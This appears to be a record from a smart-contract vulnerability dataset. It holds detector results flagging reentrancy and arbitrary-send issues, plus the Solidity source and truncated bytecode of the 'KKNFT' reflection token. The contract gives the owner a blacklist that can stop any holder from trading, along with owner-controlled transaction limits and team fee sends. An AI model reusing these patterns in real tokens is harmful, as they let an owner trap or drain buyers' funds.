70161352f565b935050602061357c8682870161352f565b925050604061358d8682870161352f565b9150509250925092565b60006040820190506135ac6000830185612fcc565b6135b96020830184612e65565b9392505050565b6000815190506135cf81612f73565b92915050565b6000602082840312156135eb576135ea612d51565b5b60006135f9848285016135c0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061365e602483612c97565b915061366982613602565b604082019050919050565b6000602082019050818103600083015261368d81613651565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006136f0602283612c97565b91506136fb82613694565b604082019050919050565b6000602082019050818103600083015261371f816136e3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613782602583612c97565b915061378d82613726565b604082019050919050565b600060208201905081810360008301526137b181613775565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613814602383612c97565b915061381f826137b8565b604082019050919050565b6000602082019050818103600083015261384381613807565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006138a6602983612c97565b91506138b18261384a565b604082019050919050565b600060208201905081810360008301526138d581613899565b9050919050565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6000613912601183612c97565b915061391d826138dc565b602082019050919050565b6000602082019050818103600083015261394181613905565b9050919050565b600061395382612db9565b915061395e83612db9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613993576139926132ce565b5b828201905092915050565b60006139a982612db9565b91506139b483612db9565b9250828210156139c7576139c66132ce565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613a2e602a83612c97565b9150613a39826139d2565b604082019050919050565b60006020820190508181036000830152613a5d81613a21565b9050919050565b6000613a6f82612db9565b9150613a7a83612db9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ab357613ab26132ce565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613af882612db9565b9150613b0383612db9565b925082613b1357613b12613abe565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613b7a602183612c97565b9150613b8582613b1e565b604082019050919050565b60006020820190508181036000830152613ba981613b6d565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613be581612d7b565b82525050565b6000613bf78383613bdc565b60208301905092915050565b6000602082019050919050565b6000613c1b82613bb0565b613c258185613bbb565b9350613c3083613bcc565b8060005b83811015613c61578151613c488882613beb565b9750613c5383613c03565b925050600181019050613c34565b5085935050505092915050565b600060a082019050613c836000830188612e65565b613c9060208301876134bf565b8181036040830152613ca28186613c10565b9050613cb16060830185612fcc565b613cbe6080830184612e65565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613cfe601b83612c97565b9150613d0982613cc8565b602082019050919050565b60006020820190508181036000830152613d2d81613cf1565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122021c6dda6c1c8c2b029d994728594c657b7ba874efcbf67ee218f3588091f92b164736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,016
0xb259f1845920fe53c9ccf8a74b907627d452126f
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KKNFT is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "KKNFT"; string private constant _symbol = "KK NFT"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, _teamFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612eca565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129ed565b61045e565b6040516101789190612eaf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a3919061306c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061299e565b61048a565b6040516101e09190612eaf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612910565b610563565b005b34801561021e57600080fd5b50610227610653565b60405161023491906130e1565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a6a565b61065c565b005b34801561027257600080fd5b5061027b61070e565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612910565b610780565b6040516102b1919061306c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d1565b005b3480156102dd57600080fd5b506102e6610924565b6040516102f39190612de1565b60405180910390f35b34801561030857600080fd5b5061031161094d565b60405161031e9190612eca565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129ed565b61098a565b60405161035b9190612eaf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a29565b6109a8565b005b34801561039957600080fd5b506103a2610af8565b005b3480156103b057600080fd5b506103b9610b72565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612abc565b6110c9565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612962565b61120f565b604051610418919061306c565b60405180910390f35b60606040518060400160405280600581526020017f4b4b4e4654000000000000000000000000000000000000000000000000000000815250905090565b600061047261046b611296565b848461129e565b6001905092915050565b60006509184e72a000905090565b6000610497848484611469565b610558846104a3611296565b610553856040518060600160405280602881526020016137a560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610509611296565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c289092919063ffffffff16565b61129e565b600190509392505050565b61056b611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ef90612fac565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610664611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e890612fac565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661074f611296565b73ffffffffffffffffffffffffffffffffffffffff161461076f57600080fd5b600047905061077d81611c8c565b50565b60006107ca600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d87565b9050919050565b6107d9611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085d90612fac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4b4b204e46540000000000000000000000000000000000000000000000000000815250905090565b600061099e610997611296565b8484611469565b6001905092915050565b6109b0611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3490612fac565b60405180910390fd5b60005b8151811015610af4576001600a6000848481518110610a88577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aec90613382565b915050610a40565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b39611296565b73ffffffffffffffffffffffffffffffffffffffff1614610b5957600080fd5b6000610b6430610780565b9050610b6f81611df5565b50565b610b7a611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfe90612fac565b60405180910390fd5b600f60149054906101000a900460ff1615610c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4e9061302c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ce430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166509184e72a00061129e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2a57600080fd5b505afa158015610d3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d629190612939565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc457600080fd5b505afa158015610dd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfc9190612939565b6040518363ffffffff1660e01b8152600401610e19929190612dfc565b602060405180830381600087803b158015610e3357600080fd5b505af1158015610e47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6b9190612939565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef430610780565b600080610eff610924565b426040518863ffffffff1660e01b8152600401610f2196959493929190612e4e565b6060604051808303818588803b158015610f3a57600080fd5b505af1158015610f4e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f739190612ae5565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506509184e72a0006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611073929190612e25565b602060405180830381600087803b15801561108d57600080fd5b505af11580156110a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c59190612a93565b5050565b6110d1611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461115e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115590612fac565b60405180910390fd5b600081116111a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119890612f6c565b60405180910390fd5b6111cd60646111bf836509184e72a0006120ef90919063ffffffff16565b61216a90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051611204919061306c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561130e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113059061300c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561137e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137590612f2c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161145c919061306c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d090612fec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611549576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154090612eec565b60405180910390fd5b6000811161158c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158390612fcc565b60405180910390fd5b611594610924565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160257506115d2610924565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6557600f60179054906101000a900460ff1615611835573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116de5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117385750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183457600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661177e611296565b73ffffffffffffffffffffffffffffffffffffffff1614806117f45750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117dc611296565b73ffffffffffffffffffffffffffffffffffffffff16145b611833576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182a9061304c565b60405180910390fd5b5b5b60105481111561184457600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118e85750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118f157600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561199c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119f25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a0a5750600f60179054906101000a900460ff165b15611aab5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5a57600080fd5b603c42611a6791906131a2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ab630610780565b9050600f60159054906101000a900460ff16158015611b235750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b3b5750600f60169054906101000a900460ff165b15611b6357611b4981611df5565b60004790506000811115611b6157611b6047611c8c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c0c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1657600090505b611c22848484846121b4565b50505050565b6000838311158290611c70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c679190612eca565b60405180910390fd5b5060008385611c7f9190613283565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cdc60028461216a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d07573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d5860028461216a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d83573d6000803e3d6000fd5b5050565b6000600654821115611dce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc590612f0c565b60405180910390fd5b6000611dd86121e1565b9050611ded818461216a90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e53577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611ebf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6157600080fd5b505afa158015611f75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f999190612939565b81600181518110611fd3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461129e565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209e959493929190613087565b600060405180830381600087803b1580156120b857600080fd5b505af11580156120cc573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121025760009050612164565b600082846121109190613229565b905082848261211f91906131f8565b1461215f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215690612f8c565b60405180910390fd5b809150505b92915050565b60006121ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061220c565b905092915050565b806121c2576121c161226f565b5b6121cd8484846122a0565b806121db576121da61246b565b5b50505050565b60008060006